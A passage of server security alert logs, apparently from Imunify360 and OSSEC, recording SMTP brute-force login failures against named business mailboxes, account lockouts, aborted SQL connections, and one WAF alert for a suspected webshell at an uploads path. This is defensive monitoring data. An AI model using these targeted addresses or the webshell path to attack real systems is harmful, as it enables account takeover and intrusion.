2026-02-01 06:03:06 dovecot_login authenticator failed for H=(BFLKs2) [178.16.52.139]:65415: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 06:03:19 dovecot_login authenticator failed for H=(ohA1i6) [137.220.199.220]:63160: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:03:20 dovecot_login authenticator failed for H=(6f5W00muSL) [158.94.208.175]:60990: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:03:22 dovecot_login authenticator failed for H=(O3DxPip) [185.36.81.54]:51371: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:03:23 dovecot_login authenticator failed for H=(hLYY9oWG) [178.16.54.22]:58604: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:03:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:03:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 06:03:24 dovecot_login authenticator failed for H=(YFTTSAw) [141.98.11.11]:63993: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:03:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:04:13 dovecot_login authenticator failed for H=(k9k9rm2O4) [185.36.81.54]:55118: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:04:09 dovecot_login authenticator failed for H=(EhWFxny) [178.16.54.22]:49413: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:04:09 dovecot_login authenticator failed for H=(ZP8hR7WOah) [178.16.52.139]:61655: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.11
country_id: 597427
description:
Feb  1 06:04:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account oichingching@pftfood.com has been locked for the attacker IP 141.98.11.11


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:04:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 06:04:08 dovecot_login authenticator failed for H=(TJWq4HL) [141.98.11.11]:55688: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:04:14 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64129: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:04:17 dovecot_login authenticator failed for H=(YGPREpm62P) [158.94.208.215]:59648: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:04:06 dovecot_login authenticator failed for H=(72bGY90) [158.94.208.175]:53006: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.2
country_id: 1814991
description:
2026-02-01 06:04:57 dovecot_login authenticator failed for H=([111.61.177.2]) [111.61.177.2]:28256: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 06:05:15 dovecot_login authenticator failed for H=(kPzQ9pZ) [141.98.11.11]:62645: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:05:18 dovecot_login authenticator failed for H=(VZBed4) [178.16.54.22]:60852: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:05:17 dovecot_login authenticator failed for H=(xGTnQl1U) [178.16.52.139]:52728: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.101.146
country_id: 1269750
description:
2026-02-01 06:05:01 dovecot_login authenticator failed for H=(aes-static-217.70.22.125.airtel.in) [27.123.101.146]:38952: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:05:05 dovecot_login authenticator failed for H=(Uja2Ziq) [158.94.208.215]:58053: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.212.223.146
country_id: 1562822
description:
2026-02-01 06:05:13 dovecot_login authenticator failed for H=([125.212.223.146]) [125.212.223.146]:64488: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.180.19
country_id: 337996
description:
2026-02-01 06:05:13 dovecot_login authenticator failed for H=([196.190.180.18]) [196.190.180.19]:12056: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:05:10 dovecot_login authenticator failed for H=(pFaU3vs) [185.36.81.54]:55715: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:05:13 dovecot_login authenticator failed for H=(aJgYVLDuVz) [178.16.52.139]:63191: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:05:15 dovecot_login authenticator failed for H=(PWUDONcJM) [158.94.208.175]:62650: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-02-01 06:05:06 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:38538: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.11
country_id: 597427
description:
Feb  1 06:05:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account oichingching@pftfood.com has been locked for the attacker IP 141.98.11.11


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.89.205.24
country_id: 1605651
description:
2026-02-01 06:05:32 dovecot_login authenticator failed for H=mx-ll-183.89.205-24.dynamic.3bb.co.th [183.89.205.24]:33088: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:06:04 dovecot_login authenticator failed for H=(CvzfiWtg) [178.16.54.22]:56610: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:06:17 dovecot_login authenticator failed for H=(oN013JiLbj) [158.94.208.215]:53427: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.156.2
country_id: 1269750
description:
2026-02-01 06:06:37 dovecot_login authenticator failed for H=([128.185.217.149]) [125.19.156.2]:41472: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:06:11 dovecot_login authenticator failed for H=(1U5x3jnO) [178.16.52.139]:64072: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:06:15 dovecot_login authenticator failed for H=(tuGpflvVgo) [185.36.81.54]:60634: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:06:01 dovecot_login authenticator failed for H=(INO5vJ) [158.94.208.175]:50464: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.184.218.49
country_id: 3469034
description:
2026-02-01 06:06:23 dovecot_login authenticator failed for H=(imparhoteis.static.gvt.net.br) [179.184.218.49]:54351: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:07:05 dovecot_login authenticator failed for H=(HXVMYr8RV) [158.94.208.215]:61679: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:07:15 dovecot_login authenticator failed for H=(yDCXEtb) [185.36.81.54]:59384: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:07:47 dovecot_login authenticator failed for H=(rpiSHmC) [178.16.52.139]:52013: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:07:51 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:07:12 dovecot_login authenticator failed for H=(N9auUlnt) [158.94.208.175]:57243: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:07:33 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:07:57 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:07:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.149
country_id: 2635167
description:
2026-02-01  6:07:43 205177 [Warning] Aborted connection 205177 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.149' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:07:04 dovecot_login authenticator failed for H=(aGS8jXZM9d) [178.16.52.139]:52840: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:07:13 dovecot_login authenticator failed for H=(GCc7CEn) [178.16.54.22]:58590: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:07:45 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:08:22 dovecot_login authenticator failed for H=(l39W73) [178.16.54.22]:53590: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:08:22 dovecot_login authenticator failed for H=(1dOgXso) [158.94.208.175]:54113: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:08:09 dovecot_login authenticator failed for H=(uMYU2714BN) [178.16.52.139]:57535: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:08:17 dovecot_login authenticator failed for H=(kqxRHP) [158.94.208.215]:57859: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:08:40 dovecot_login authenticator failed for H=(59grjes) [185.36.81.54]:49604: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:08:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:08:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:08:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:08:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:08:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.61.40.117
country_id: 3469034
description:
2026-02-01 06:08:50 dovecot_login authenticator failed for H=201-61-40-117.bbone.telesp.net.br ([186.200.154.89]) [201.61.40.117]:55167: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:09:30 dovecot_login authenticator failed for H=(NEnYWGjQ) [185.36.81.54]:50941: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:09:10 dovecot_login authenticator failed for H=(jrj1HO) [178.16.52.139]:64933: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:09:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:09:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:09:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:09:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:09:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:09:08 dovecot_login authenticator failed for H=(sKZ9Bw) [178.16.54.22]:61750: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:09:09 dovecot_login authenticator failed for H=(YWaYNpsNxy) [158.94.208.175]:56311: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:09:27 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49714: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-02-01 06:09:41 dovecot_login authenticator failed for H=([200.106.49.149]) [200.106.49.149]:44250: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.40.121.4
country_id: 1643084
description:
2026-02-01 06:09:01 dovecot_login authenticator failed for H=(ip-4.121.40.jogjaringan.net.id) [103.40.121.4]:55857: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:09:05 dovecot_login authenticator failed for H=(7YqNczai) [158.94.208.215]:54509: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.129.18
country_id: 2077456
description:
2026-02-01 06:10:20 dovecot_login authenticator failed for H=202-62-129-18.ip.vocus.network [202.62.129.18]:55637: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:10:40 dovecot_login authenticator failed for H=(YSEhWAO) [158.94.208.175]:59809: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:10:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.65.160.234
country_id: 1814991
description:
2026-02-01 06:10:35 dovecot_login authenticator failed for H=([124.65.160.234]) [124.65.160.234]:46223: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:10:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-01 06:10:38 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:35568: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:10:38 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.241.150.246
country_id: 2017370
description:
2026-02-01 06:10:54 dovecot_login authenticator failed for H=91-241-150-246-dyn.neotele.com.ru [91.241.150.246]:41464: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:10:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:10:01 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49859: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:10:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:10:17 dovecot_login authenticator failed for H=(7tpEsdOlGM) [158.94.208.215]:53794: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-02-01 06:10:13 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:34270: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:10:16 dovecot_login authenticator failed for H=(3ldScC9IpZ) [178.16.52.139]:62747: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:10:17 dovecot_login authenticator failed for H=(Vr842ey0) [178.16.54.22]:60875: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.154.41
country_id: 1880251
domain: fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/contents/uploads/2022/04/product.php||SC:/home2/fkrcom/public_html/contents||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:10:01 dovecot_login authenticator failed for H=(py3npSr7F) [178.16.52.139]:53293: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:10:28 dovecot_login authenticator failed for H=(BYVPat3pn) [185.36.81.54]:56271: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:11:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:11:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:11:20 dovecot_login authenticator failed for H=(Ms6b0MgX) [178.16.52.139]:52522: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-02-01 06:11:34 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:45999: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-02-01 06:11:43 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:59858: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.61.114.143
country_id: 3585968
description:
2026-02-01 06:11:46 dovecot_plain authenticator failed for H=143.114.61.190.ufinet.com.sv (E1261D68V5UP6) [190.61.114.143]:61989: 535 Incorrect authentication data (set_id=azli@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:11:03 dovecot_login authenticator failed for H=(j4svKCIe5n) [158.94.208.175]:64375: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:11:05 dovecot_login authenticator failed for H=(mWfPqK8) [158.94.208.215]:65524: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.146
country_id: 6252001
description:
2026-02-01 06:11:52 dovecot_login authenticator failed for H=syn-035-130-111-146.biz.spectrum.com [35.130.111.146]:37608: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.19.195.12
country_id: 3144096
description:
2026-02-01 06:11:10 dovecot_login authenticator failed for H=(85-19-195-12.telia-isp.no) [85.19.195.12]:42780: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-01 06:11:32 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:56025: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.69.76.148
country_id: 1814991
description:
2026-02-01 06:11:49 dovecot_login authenticator failed for H=([125.69.76.148]) [125.69.76.148]:52364: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:11:20 dovecot_login authenticator failed for H=(MeTucWMzJ) [185.36.81.54]:60182: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:11:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.149
country_id: 2635167
description:
2026-02-01  6:11:54 205282 [Warning] Aborted connection 205282 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.149' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:11:03 dovecot_login authenticator failed for H=(9IfYRYzlY) [178.16.54.22]:55588: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:11:24 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:61756: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.92.202
country_id: 1269750
description:
2026-02-01 06:11:57 dovecot_login authenticator failed for H=([125.17.215.121]) [27.123.92.202]:52450: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:11:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
